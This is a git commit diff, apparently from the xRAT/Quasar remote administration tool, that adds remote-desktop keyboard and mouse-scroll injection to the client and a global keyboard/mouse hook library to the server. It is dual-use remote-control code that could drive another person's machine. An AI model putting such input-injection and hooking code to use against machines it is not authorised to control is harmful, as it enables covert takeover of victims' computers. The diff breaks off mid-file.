Merge pull request #305 from MaxXor/pr/304

Added Mouse Scrolling and Keyboard Input to Remote Desktop
This commit is contained in:
MaxXor 2015-07-29 21:27:55 +02:00
commit c3f9b67938
60 changed files with 3288 additions and 43 deletions

View File

@ -71,6 +71,7 @@
<Compile Include="Core\Encryption\AES.cs" />
<Compile Include="Core\Encryption\SHA256.cs" />
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
<Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
<Compile Include="Core\Utilities\FileSplit.cs" />
<Compile Include="Core\Utilities\NativeMethods.cs" />
<Compile Include="Core\Utilities\UnsafeStreamCodec.cs" />

View File

@ -81,16 +81,27 @@ public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command
{
case MouseAction.LeftDown:
case MouseAction.LeftUp:
NativeMethodsHelper.DoMouseEventLeft(p, command.IsMouseDown);
NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
break;
case MouseAction.RightDown:
case MouseAction.RightUp:
NativeMethodsHelper.DoMouseEventRight(p, command.IsMouseDown);
NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
break;
case MouseAction.MoveCursor:
NativeMethodsHelper.DoMouseMoveCursor(p);
NativeMethodsHelper.DoMouseMove(p);
break;
}
case MouseAction.ScrollDown:
NativeMethodsHelper.DoMouseScroll(p, true);
break;
case MouseAction.ScrollUp:
NativeMethodsHelper.DoMouseScroll(p, false);
break;
}
}
public static void HandleDoKeyboardEvent(Packets.ServerPackets.DoKeyboardEvent command, Client client)
{
NativeMethodsHelper.DoKeyPress(command.Key, command.KeyDown);
}
public static void HandleGetMonitors(Packets.ServerPackets.GetMonitors command, Client client)

View File

@ -5,24 +5,37 @@ namespace xClient.Core.Helper
{
public static class NativeMethodsHelper
{
private const int MOUSEEVENTF_LEFTDOWN = 0x02;
private const int MOUSEEVENTF_LEFTUP = 0x04;
private const int MOUSEEVENTF_RIGHTDOWN = 0x08;
private const int MOUSEEVENTF_RIGHTUP = 0x10;
private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
private const uint MOUSEEVENTF_LEFTUP = 0x0004;
private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
private const uint MOUSEEVENTF_WHEEL = 0x0800;
private const uint KEYEVENTF_KEYDOWN = 0x0000;
private const uint KEYEVENTF_KEYUP = 0x0002;
public static void DoMouseEventLeft(Point p, bool isMouseDown)
public static void DoMouseLeftClick(Point p, bool isMouseDown)
{
NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
}
public static void DoMouseEventRight(Point p, bool isMouseDown)
public static void DoMouseRightClick(Point p, bool isMouseDown)
{
NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
}
public static void DoMouseMoveCursor(Point p)
public static void DoMouseMove(Point p)
{
NativeMethods.SetCursorPos(p.X, p.Y);
}
public static void DoMouseScroll(Point p, bool scrollDown)
{
NativeMethods.mouse_event(MOUSEEVENTF_WHEEL, p.X, p.Y, scrollDown ? -120 : 120, 0);
}
public static void DoKeyPress(byte key, bool keyDown)
{
NativeMethods.keybd_event(key, 0, keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, 0);
}
}
}

View File

@ -71,6 +71,10 @@ public static void HandlePacket(Client client, IPacket packet)
{
CommandHandler.HandleDoMouseEvent((ServerPackets.DoMouseEvent)packet, client);
}
else if (type == typeof(ServerPackets.DoKeyboardEvent))
{
CommandHandler.HandleDoKeyboardEvent((ServerPackets.DoKeyboardEvent)packet, client);
}
else if (type == typeof(ServerPackets.GetSystemInfo))
{
CommandHandler.HandleGetSystemInfo((ServerPackets.GetSystemInfo)packet, client);

View File

@ -0,0 +1,30 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{
[ProtoContract]
public class DoKeyboardEvent : IPacket
{
[ProtoMember(1)]
public byte Key { get; set; }
[ProtoMember(2)]
public bool KeyDown { get; set; }
public DoKeyboardEvent()
{
}
public DoKeyboardEvent(byte key, bool keyDown)
{
this.Key = key;
this.KeyDown = keyDown;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -16,7 +16,10 @@ public static class NativeMethods
public static extern bool SetCursorPos(int x, int y);
[DllImport("user32.dll")]
public static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
public static extern void mouse_event(uint dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
[DllImport("user32.dll")]
public static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
/// <summary>
/// Performs a bit-block transfer of the color data corresponding to a

View File

@ -7,6 +7,8 @@ public enum MouseAction
RightDown,
RightUp,
MoveCursor,
ScrollUp,
ScrollDown,
None
}
}

View File

@ -68,6 +68,7 @@ private static void InitializeClient()
typeof (Core.Packets.ServerPackets.GetDirectory),
typeof (Core.Packets.ServerPackets.DoDownloadFile),
typeof (Core.Packets.ServerPackets.DoMouseEvent),
typeof (Core.Packets.ServerPackets.DoKeyboardEvent),
typeof (Core.Packets.ServerPackets.GetSystemInfo),
typeof (Core.Packets.ServerPackets.DoVisitWebsite),
typeof (Core.Packets.ServerPackets.DoShowMessageBox),

View File

@ -0,0 +1,38 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using xServer.Core.MouseKeyHook.Implementation;
namespace xServer.Core.MouseKeyHook
{
/// <summary>
/// This is the class to start with.
/// </summary>
public static class Hook
{
/// <summary>
/// Here you find all application wide events. Both mouse and keyboard.
/// </summary>
/// <returns>
/// Returned instance is used for event subscriptions.
/// You can refetch it (you will get the same instance anyway).
/// </returns>
public static IKeyboardMouseEvents AppEvents()
{
return new AppEventFacade();
}
/// <summary>
/// Here you find all application wide events. Both mouse and keyboard.
/// </summary>
/// <returns>
/// Returned instance is used for event subscriptions.
/// You can refetch it (you will get the same instance anyway).
/// </returns>
public static IKeyboardMouseEvents GlobalEvents()
{
return new GlobalEventFacade();
}
}
}

View File

@ -0,0 +1,33 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
namespace xServer.Core.MouseKeyHook.HotKeys
{
/// <summary>
/// The event arguments passed when a HotKeySet's OnHotKeysDownHold event is triggered.
/// </summary>
public sealed class HotKeyArgs : EventArgs
{
private readonly DateTime m_TimeOfExecution;
/// <summary>
/// Creates an instance of the HotKeyArgs.
/// <param name="triggeredAt">Time when the event was triggered</param>
/// </summary>
public HotKeyArgs(DateTime triggeredAt)
{
m_TimeOfExecution = triggeredAt;
}
/// <summary>
/// Time when the event was triggered
/// </summary>
public DateTime Time
{
get { return m_TimeOfExecution; }
}
}
}

View File

@ -0,0 +1,287 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using xServer.Core.MouseKeyHook.Implementation;
namespace xServer.Core.MouseKeyHook.HotKeys
{
/// <summary>
/// An immutable set of Hot Keys that provides an event for when the set is activated.
/// </summary>
public class HotKeySet
{
/// <summary>
/// A delegate representing the signature for the OnHotKeysDownHold event
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
public delegate void HotKeyHandler(object sender, HotKeyArgs e);
private readonly IEnumerable<Keys> m_hotkeys; //hotkeys provided by the user.
private readonly Dictionary<Keys, bool> m_hotkeystate; //Keeps track of the status of the set of Keys
/*
* Example of m_remapping:
* a single key from the set of Keys requested is chosen to be the reference key (aka primary key)
*
* m_remapping[ Keys.LShiftKey ] = Keys.LShiftKey
* m_remapping[ Keys.RShiftKey ] = Keys.LShiftKey
*
* This allows the m_hotkeystate to use a single key (primary key) from the set that will act on behalf of all the keys in the set,
* which in turn reduces to this:
*
* Keys k = Keys.RShiftKey
* Keys primaryKey = PrimaryKeyOf( k ) = Keys.LShiftKey
* m_hotkeystate[ primaryKey ] = true/false
*/
private readonly Dictionary<Keys, Keys> m_remapping; //Used for mapping multiple keys to a single key
private bool m_enabled = true; //enabled by default
//These provide the actual status of whether a set is truly activated or not.
private int m_hotkeydowncount; //number of hot keys down
private int m_remappingCount;
//the number of remappings, i.e., a set of mappings, not the individual count in m_remapping
/// <summary>
/// Creates an instance of the HotKeySet class. Once created, the keys cannot be changed.
/// </summary>
/// <param name="hotkeys">Set of Hot Keys</param>
public HotKeySet(IEnumerable<Keys> hotkeys)
{
m_hotkeystate = new Dictionary<Keys, bool>();
m_remapping = new Dictionary<Keys, Keys>();
m_hotkeys = hotkeys;
InitializeKeys();
}
/// <summary>
/// Enables the ability to name the set
/// </summary>
public string Name { get; set; }
/// <summary>
/// Enables the ability to describe what the set is used for or supposed to do
/// </summary>
public string Description { get; set; }
/// <summary>
/// Gets the set of hotkeys that this class handles.
/// </summary>
public IEnumerable<Keys> HotKeys
{
get { return m_hotkeys; }
}
/// <summary>
/// Returns whether the set of Keys is activated
/// </summary>
public bool HotKeysActivated
{
//The number of sets of remapped keys is used to offset the amount originally specified by the user.
get { return m_hotkeydowncount == (m_hotkeystate.Count - m_remappingCount); }
}
/// <summary>
/// Gets or sets the enabled state of the HotKey set.
/// </summary>
public bool Enabled
{
get { return m_enabled; }
set
{
if (value)
InitializeKeys(); //must get the actual current state of each key to update
m_enabled = value;
}
}
/// <summary>
/// Called as the user holds down the keys in the set. It is NOT triggered the first time the keys are set.
/// <see cref="OnHotKeysDownOnce" />
/// </summary>
public event HotKeyHandler OnHotKeysDownHold;
/// <summary>
/// Called whenever the hot key set is no longer active. This is essentially a KeyPress event, indicating that a full
/// key cycle has occurred, only for HotKeys because a single key removed from the set constitutes an incomplete set.
/// </summary>
public event HotKeyHandler OnHotKeysUp;
/// <summary>
/// Called the first time the down keys are set. It does not get called throughout the duration the user holds it but
/// only the
/// first time it's activated.
/// </summary>
public event HotKeyHandler OnHotKeysDownOnce;
/// <summary>
/// General invocation handler
/// </summary>
/// <param name="hotKeyDelegate"></param>
private void InvokeHotKeyHandler(HotKeyHandler hotKeyDelegate)
{
if (hotKeyDelegate != null)
hotKeyDelegate(this, new HotKeyArgs(DateTime.Now));
}
/// <summary>
/// Adds the keys into the dictionary tracking the keys and gets the real-time status of the Keys
/// from the OS
/// </summary>
private void InitializeKeys()
{
foreach (Keys k in HotKeys)
{
if (m_hotkeystate.ContainsKey(k))
m_hotkeystate.Add(k, false);
//assign using the current state of the keyboard
m_hotkeystate[k] = KeyboardState.GetCurrent().IsDown(k);
}
}
/// <summary>
/// Unregisters a previously set exclusive or based on the primary key.
/// </summary>
/// <param name="anyKeyInTheExclusiveOrSet">Any key used in the Registration method used to create an exclusive or set</param>
/// <returns>
/// True if successful. False doesn't indicate a failure to unregister, it indicates that the Key is not
/// registered as an Exclusive Or key or it's not the Primary Key.
/// </returns>
public bool UnregisterExclusiveOrKey(Keys anyKeyInTheExclusiveOrSet)
{
Keys primaryKey = GetExclusiveOrPrimaryKey(anyKeyInTheExclusiveOrSet);
if (primaryKey == Keys.None || !m_remapping.ContainsValue(primaryKey))
return false;
List<Keys> keystoremove = new List<Keys>();
foreach (KeyValuePair<Keys, Keys> pair in m_remapping)
{
if (pair.Value == primaryKey)
keystoremove.Add(pair.Key);
}
foreach (Keys k in keystoremove)
m_remapping.Remove(k);
--m_remappingCount;
return true;
}
/// <summary>
/// Registers a group of Keys that are already part of the HotKeySet in order to provide better flexibility among keys.
/// <example>
/// <code>
/// HotKeySet hks = new HotKeySet( new [] { Keys.T, Keys.LShiftKey, Keys.RShiftKey } );
/// RegisterExclusiveOrKey( new [] { Keys.LShiftKey, Keys.RShiftKey } );
/// </code>
/// allows either Keys.LShiftKey or Keys.RShiftKey to be combined with Keys.T.
/// </example>
/// </summary>
/// <param name="orKeySet"></param>
/// <returns>Primary key used for mapping or Keys.None on error</returns>
public Keys RegisterExclusiveOrKey(IEnumerable<Keys> orKeySet)
{
//Verification first, so as to not leave the m_remapping with a partial set.
foreach (Keys k in orKeySet)
{
if (!m_hotkeystate.ContainsKey(k))
return Keys.None;
}
int i = 0;
Keys primaryKey = Keys.None;
//Commit after verification
foreach (Keys k in orKeySet)
{
if (i == 0)
primaryKey = k;
m_remapping[k] = primaryKey;
++i;
}
//Must increase to keep a true count of how many keys are necessary for the activation to be true
++m_remappingCount;
return primaryKey;
}
/// <summary>
/// Gets the primary key
/// </summary>
/// <param name="k"></param>
/// <returns>The primary key if it exists, otherwise Keys.None</returns>
private Keys GetExclusiveOrPrimaryKey(Keys k)
{
return (m_remapping.ContainsKey(k) ? m_remapping[k] : Keys.None);
}
/// <summary>
/// Resolves obtaining the key used for state checking.
/// </summary>
/// <param name="k"></param>
/// <returns>The primary key if it exists, otherwise the key entered</returns>
private Keys GetPrimaryKey(Keys k)
{
//If the key is remapped then get the primary keys
return (m_remapping.ContainsKey(k) ? m_remapping[k] : k);
}
/// <summary>
/// </summary>
/// <param name="kex"></param>
internal void OnKey(KeyEventArgsExt kex)
{
if (!Enabled)
return;
//Gets the primary key if mapped to a single key or gets the key itself
Keys primaryKey = GetPrimaryKey(kex.KeyCode);
if (kex.IsKeyDown)
OnKeyDown(primaryKey);
else //reset
OnKeyUp(primaryKey);
}
private void OnKeyDown(Keys k)
{
//If the keys are activated still then keep invoking the event
if (HotKeysActivated)
InvokeHotKeyHandler(OnHotKeysDownHold); //Call the duration event
//indicates the key's state is current false but the key is now down
else if (m_hotkeystate.ContainsKey(k) && !m_hotkeystate[k])
{
m_hotkeystate[k] = true; //key's state is down
++m_hotkeydowncount; //increase the number of keys down in this set
if (HotKeysActivated) //because of the increase, check whether the set is activated
InvokeHotKeyHandler(OnHotKeysDownOnce); //Call the initial event
}
}
private void OnKeyUp(Keys k)
{
if (m_hotkeystate.ContainsKey(k) && m_hotkeystate[k]) //indicates the key's state was down but now it's up
{
bool wasActive = HotKeysActivated;
m_hotkeystate[k] = false; //key's state is up
--m_hotkeydowncount; //this set is no longer ready
if (wasActive)
InvokeHotKeyHandler(OnHotKeysUp); //call the KeyUp event because the set is no longer active
}
}
}
}

View File

@ -0,0 +1,48 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Collections.Generic;
namespace xServer.Core.MouseKeyHook.HotKeys
{
/// <summary>
/// A collection of HotKeySets
/// </summary>
public sealed class HotKeySetCollection : List<HotKeySet>
{
private KeyChainHandler m_keyChain;
/// <summary>
/// Adds a HotKeySet to the collection.
/// </summary>
/// <param name="hks"></param>
public new void Add(HotKeySet hks)
{
m_keyChain += hks.OnKey;
base.Add(hks);
}
/// <summary>
/// Removes the HotKeySet from the collection.
/// </summary>
/// <param name="hks"></param>
public new void Remove(HotKeySet hks)
{
m_keyChain -= hks.OnKey;
base.Remove(hks);
}
/// <summary>
/// Uses a multi-case delegate to invoke individual HotKeySets if the Key is in use by any HotKeySets.
/// </summary>
/// <param name="e"></param>
internal void OnKey(KeyEventArgsExt e)
{
if (m_keyChain != null)
m_keyChain(e);
}
private delegate void KeyChainHandler(KeyEventArgsExt kex);
}
}

View File

@ -0,0 +1,4 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php

View File

@ -0,0 +1,85 @@
Until a separate, full-featured test version is ready, here's a quick update that can be made to the TestFormHookListeners:
//HotKeySetsListener inherits KeyboardHookListener
private readonly HotKeySetsListener m_KeyboardHookManager;
private readonly MouseHookListener m_MouseHookManager;
public TestFormHookListeners()
{
InitializeComponent();
//m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker());
//m_KeyboardHookManager.Enabled = true;
m_MouseHookManager = new MouseHookListener( new GlobalHooker() ) { Enabled = true };
HotKeySetCollection hkscoll = new HotKeySetCollection();
m_KeyboardHookManager = new HotKeySetsListener( hkscoll, new GlobalHooker() ) { Enabled = true };
BuildHotKeyTests( hkscoll );
}
private void BuildHotKeyTests( HotKeySetCollection hkscoll )
{
//Hot Keys are enabled by default. Use the Enabled property to adjust.
hkscoll.Add( BindHotKeySet( new[] { Keys.T, Keys.LShiftKey }, null, OnHotKeyDownOnce1, OnHotKeyDownHold1, OnHotKeyUp1, "test1" ) );
hkscoll.Add( BindHotKeySet( new[] { Keys.T, Keys.LControlKey, Keys.RControlKey }, new[] { Keys.LControlKey, Keys.RControlKey }, OnHotKeyDownGeneral2, OnHotKeyDownGeneral2, OnHotKeyUp1, "test2" ) );
}
private static HotKeySet BindHotKeySet( IEnumerable<Keys> ks,
IEnumerable<Keys> xorKeys,
HotKeySet.HotKeyHandler onEventDownOnce,
HotKeySet.HotKeyHandler onEventDownHold,
HotKeySet.HotKeyHandler onEventUp,
string name )
{
//Declare ALL Keys that will be available in this set, including any keys you want to register as an either/or subset
HotKeySet hks = new HotKeySet( ks );
//Indicates that the keys in this array will be treated as an OR rather than AND: LShiftKey or RShiftKey
//The keys MUST be a subset of the ks Keys array.
if ( hks.RegisterExclusiveOrKey( xorKeys ) == Keys.None ) //Keys.None indicates an error
{
MessageBox.Show( null, @"Unable to register subset: " + String.Join( ", ", xorKeys ),
@"Subset registration error", MessageBoxButtons.OK, MessageBoxIcon.Error );
}
hks.OnHotKeysDownOnce += onEventDownOnce; //The first time the key is down
hks.OnHotKeysDownHold += onEventDownHold; //Fired as long as the user holds the hot keys down but is not fired the first time.
hks.OnHotKeysUp += onEventUp; //Whenever a key from the set is no longer being held down
hks.Name = ( name ?? String.Empty );
return hks;
}
private void GeneralHotKeyEvent( object sender, DateTime timeTriggered, string eventType )
{
HotKeySet hks = sender as HotKeySet;
string kstring = String.Join( ", ", hks.HotKeys );
Log( String.Format( "{0}: {2} {1} - {3}\r\n", timeTriggered.TimeOfDay, eventType, hks.Name, kstring ) );
}
private void OnHotKeyDownGeneral2( object sender, HotKeyArgs e )
{
GeneralHotKeyEvent( sender, e.Time, "ONCE/HOLD" );
}
private void OnHotKeyDownOnce1( object sender, HotKeyArgs e )
{
GeneralHotKeyEvent( sender, e.Time, "ONCE" );
}
private void OnHotKeyDownHold1( object sender, HotKeyArgs e )
{
GeneralHotKeyEvent( sender, e.Time, "HOLD" );
}
private void OnHotKeyUp1( object sender, HotKeyArgs e )
{
GeneralHotKeyEvent( sender, e.Time, "UP" );
}

View File

@ -0,0 +1,43 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Windows.Forms;
namespace xServer.Core.MouseKeyHook
{
/// <summary>
/// Provides keyboard events
/// </summary>
public interface IKeyboardEvents
{
/// <summary>
/// Occurs when a key is pressed.
/// </summary>
event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when a key is pressed.
/// </summary>
/// <remarks>
/// Key events occur in the following order:
/// <list type="number">
/// <item>KeyDown</item>
/// <item>KeyPress</item>
/// <item>KeyUp</item>
/// </list>
/// The KeyPress event is not raised by non-character keys; however, the non-character keys do raise the KeyDown and
/// KeyUp events.
/// Use the KeyChar property to sample keystrokes at run time and to consume or modify a subset of common keystrokes.
/// To handle keyboard events only in your application and not enable other applications to receive keyboard events,
/// set the <see cref="KeyPressEventArgs.Handled" /> property in your form's KeyPress event-handling method to
/// <b>true</b>.
/// </remarks>
event KeyPressEventHandler KeyPress;
/// <summary>
/// Occurs when a key is released.
/// </summary>
event KeyEventHandler KeyUp;
}
}

View File

@ -0,0 +1,15 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
namespace xServer.Core.MouseKeyHook
{
/// <summary>
/// Provides keyboard and mouse events.
/// </summary>
public interface IKeyboardMouseEvents : IKeyboardEvents, IMouseEvents, IDisposable
{
}
}

View File

@ -0,0 +1,73 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Windows.Forms;
namespace xServer.Core.MouseKeyHook
{
/// <summary>
/// Provides all mouse events.
/// </summary>
public interface IMouseEvents
{
/// <summary>
/// Occurs when the mouse pointer is moved.
/// </summary>
event MouseEventHandler MouseMove;
/// <summary>
/// Occurs when the mouse pointer is moved.
/// </summary>
/// <remarks>
/// This event provides extended arguments of type <see cref="MouseEventArgs" /> enabling you to
/// suppress further processing of mouse movement in other applications.
/// </remarks>
event EventHandler<MouseEventExtArgs> MouseMoveExt;
/// <summary>
/// Occurs when a click was performed by the mouse.
/// </summary>
event MouseEventHandler MouseClick;
/// <summary>
/// Occurs when the mouse a mouse button is pressed.
/// </summary>
event MouseEventHandler MouseDown;
/// <summary>
/// Occurs when the mouse a mouse button is pressed.
/// </summary>
/// <remarks>
/// This event provides extended arguments of type <see cref="MouseEventArgs" /> enabling you to
/// suppress further processing of mouse click in other applications.
/// </remarks>
event EventHandler<MouseEventExtArgs> MouseDownExt;
/// <summary>
/// Occurs when a mouse button is released.
/// </summary>
event MouseEventHandler MouseUp;
/// <summary>
/// Occurs when a mouse button is released.
/// </summary>
/// <remarks>
/// This event provides extended arguments of type <see cref="MouseEventArgs" /> enabling you to
/// suppress further processing of mouse click in other applications.
/// </remarks>
event EventHandler<MouseEventExtArgs> MouseUpExt;
/// <summary>
/// Occurs when the mouse wheel moves.
/// </summary>
event MouseEventHandler MouseWheel;
/// <summary>
/// Occurs when a mouse button is double-clicked.
/// </summary>
event MouseEventHandler MouseDoubleClick;
}
}

View File

@ -0,0 +1,19 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
namespace xServer.Core.MouseKeyHook.Implementation
{
internal class AppEventFacade : EventFacade
{
protected override MouseListener CreateMouseListener()
{
return new AppMouseListener();
}
protected override KeyListener CreateKeyListener()
{
return new AppKeyListener();
}
}
}

View File

@ -0,0 +1,27 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Collections.Generic;
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal class AppKeyListener : KeyListener
{
public AppKeyListener()
: base(HookHelper.HookAppKeyboard)
{
}
protected override IEnumerable<KeyPressEventArgsExt> GetPressEventArgs(CallbackData data)
{
return KeyPressEventArgsExt.FromRawDataApp(data);
}
protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data)
{
return KeyEventArgsExt.FromRawDataApp(data);
}
}
}

View File

@ -0,0 +1,21 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal class AppMouseListener : MouseListener
{
public AppMouseListener()
: base(HookHelper.HookAppMouse)
{
}
protected override MouseEventExtArgs GetEventArgs(CallbackData data)
{
return MouseEventExtArgs.FromRawDataApp(data);
}
}
}

View File

@ -0,0 +1,26 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal abstract class BaseListener : IDisposable
{
protected BaseListener(Subscribe subscribe)
{
Handle = subscribe(Callback);
}
protected HookResult Handle { get; set; }
public void Dispose()
{
Handle.Dispose();
}
protected abstract bool Callback(CallbackData data);
}
}

View File

@ -0,0 +1,33 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Windows.Forms;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal class ButtonSet
{
private MouseButtons m_Set;
public ButtonSet()
{
m_Set = MouseButtons.None;
}
public void Add(MouseButtons element)
{
m_Set |= element;
}
public void Remove(MouseButtons element)
{
m_Set &= ~element;
}
public bool Contains(MouseButtons element)
{
return (m_Set & element) != MouseButtons.None;
}
}
}

View File

@ -0,0 +1,10 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal delegate bool Callback(CallbackData data);
}

View File

@ -0,0 +1,114 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Windows.Forms;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal abstract class EventFacade : IKeyboardMouseEvents
{
private KeyListener m_KeyListenerCache;
private MouseListener m_MouseListenerCache;
public event KeyEventHandler KeyDown
{
add { GetKeyListener().KeyDown += value; }
remove { GetKeyListener().KeyDown -= value; }
}
public event KeyPressEventHandler KeyPress
{
add { GetKeyListener().KeyPress += value; }
remove { GetKeyListener().KeyPress -= value; }
}
public event KeyEventHandler KeyUp
{
add { GetKeyListener().KeyUp += value; }
remove { GetKeyListener().KeyUp -= value; }
}
public event MouseEventHandler MouseMove
{
add { GetMouseListener().MouseMove += value; }
remove { GetMouseListener().MouseMove -= value; }
}
public event EventHandler<MouseEventExtArgs> MouseMoveExt
{
add { GetMouseListener().MouseMoveExt += value; }
remove { GetMouseListener().MouseMoveExt -= value; }
}
public event MouseEventHandler MouseClick
{
add { GetMouseListener().MouseClick += value; }
remove { GetMouseListener().MouseClick -= value; }
}
public event MouseEventHandler MouseDown
{
add { GetMouseListener().MouseDown += value; }
remove { GetMouseListener().MouseDown -= value; }
}
public event EventHandler<MouseEventExtArgs> MouseDownExt
{
add { GetMouseListener().MouseDownExt += value; }
remove { GetMouseListener().MouseDownExt -= value; }
}
public event MouseEventHandler MouseUp
{
add { GetMouseListener().MouseUp += value; }
remove { GetMouseListener().MouseUp -= value; }
}
public event EventHandler<MouseEventExtArgs> MouseUpExt
{
add { GetMouseListener().MouseUpExt += value; }
remove { GetMouseListener().MouseUpExt -= value; }
}
public event MouseEventHandler MouseWheel
{
add { GetMouseListener().MouseWheel += value; }
remove { GetMouseListener().MouseWheel -= value; }
}
public event MouseEventHandler MouseDoubleClick
{
add { GetMouseListener().MouseDoubleClick += value; }
remove { GetMouseListener().MouseDoubleClick -= value; }
}
public void Dispose()
{
if (m_MouseListenerCache != null) m_MouseListenerCache.Dispose();
if (m_KeyListenerCache != null) m_KeyListenerCache.Dispose();
}
private KeyListener GetKeyListener()
{
var target = m_KeyListenerCache;
if (target != null) return target;
target = CreateKeyListener();
m_KeyListenerCache = target;
return target;
}
private MouseListener GetMouseListener()
{
var target = m_MouseListenerCache;
if (target != null) return target;
target = CreateMouseListener();
m_MouseListenerCache = target;
return target;
}
protected abstract MouseListener CreateMouseListener();
protected abstract KeyListener CreateKeyListener();
}
}

View File

@ -0,0 +1,19 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
namespace xServer.Core.MouseKeyHook.Implementation
{
internal class GlobalEventFacade : EventFacade
{
protected override MouseListener CreateMouseListener()
{
return new GlobalMouseListener();
}
protected override KeyListener CreateKeyListener()
{
return new GlobalKeyListener();
}
}
}

View File

@ -0,0 +1,27 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Collections.Generic;
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal class GlobalKeyListener : KeyListener
{
public GlobalKeyListener()
: base(HookHelper.HookGlobalKeyboard)
{
}
protected override IEnumerable<KeyPressEventArgsExt> GetPressEventArgs(CallbackData data)
{
return KeyPressEventArgsExt.FromRawDataGlobal(data);
}
protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data)
{
return KeyEventArgsExt.FromRawDataGlobal(data);
}
}
}

View File

@ -0,0 +1,73 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Windows.Forms;
using xServer.Core.MouseKeyHook.WinApi;
namespace xServer.Core.MouseKeyHook.Implementation
{
internal class GlobalMouseListener : MouseListener
{
private readonly int m_SystemDoubleClickTime;
private MouseButtons m_PreviousClicked;
private Point m_PreviousClickedPosition;
private int m_PreviousClickedTime;
public GlobalMouseListener()
: base(HookHelper.HookGlobalMouse)
{
m_SystemDoubleClickTime = MouseNativeMethods.GetDoubleClickTime();
}
protected override void ProcessDown(ref MouseEventExtArgs e)
{
if (IsDoubleClick(e))
{
e = e.ToDoubleClickEventArgs();
}
base.ProcessDown(ref e);
}
protected override void ProcessUp(ref MouseEventExtArgs e)
{
base.ProcessUp(ref e);
if (e.Clicks == 2)
{
StopDoubleClickWaiting();
}
if (e.Clicks == 1)
{
StartDoubleClickWaiting(e);
}
}
private void StartDoubleClickWaiting(MouseEventExtArgs e)
{
m_PreviousClicked = e.Button;
m_PreviousClickedTime = e.Timestamp;
m_PreviousClickedPosition = e.Point;
}
private void StopDoubleClickWaiting()
{
m_PreviousClicked = MouseButtons.None;
m_PreviousClickedTime = 0;
m_PreviousClickedPosition = new Point(0, 0);
}
private bool IsDoubleClick(MouseEventExtArgs e)
{
return
e.Button == m_PreviousClicked &&
e.Point == m_PreviousClickedPosition && // Click-move-click exception, see Patch 11222
e.Timestamp - m_PreviousClickedTime <= m_SystemDoubleClickTime;
}
protected override MouseEventExtArgs GetEventArgs(CallbackData data)
{
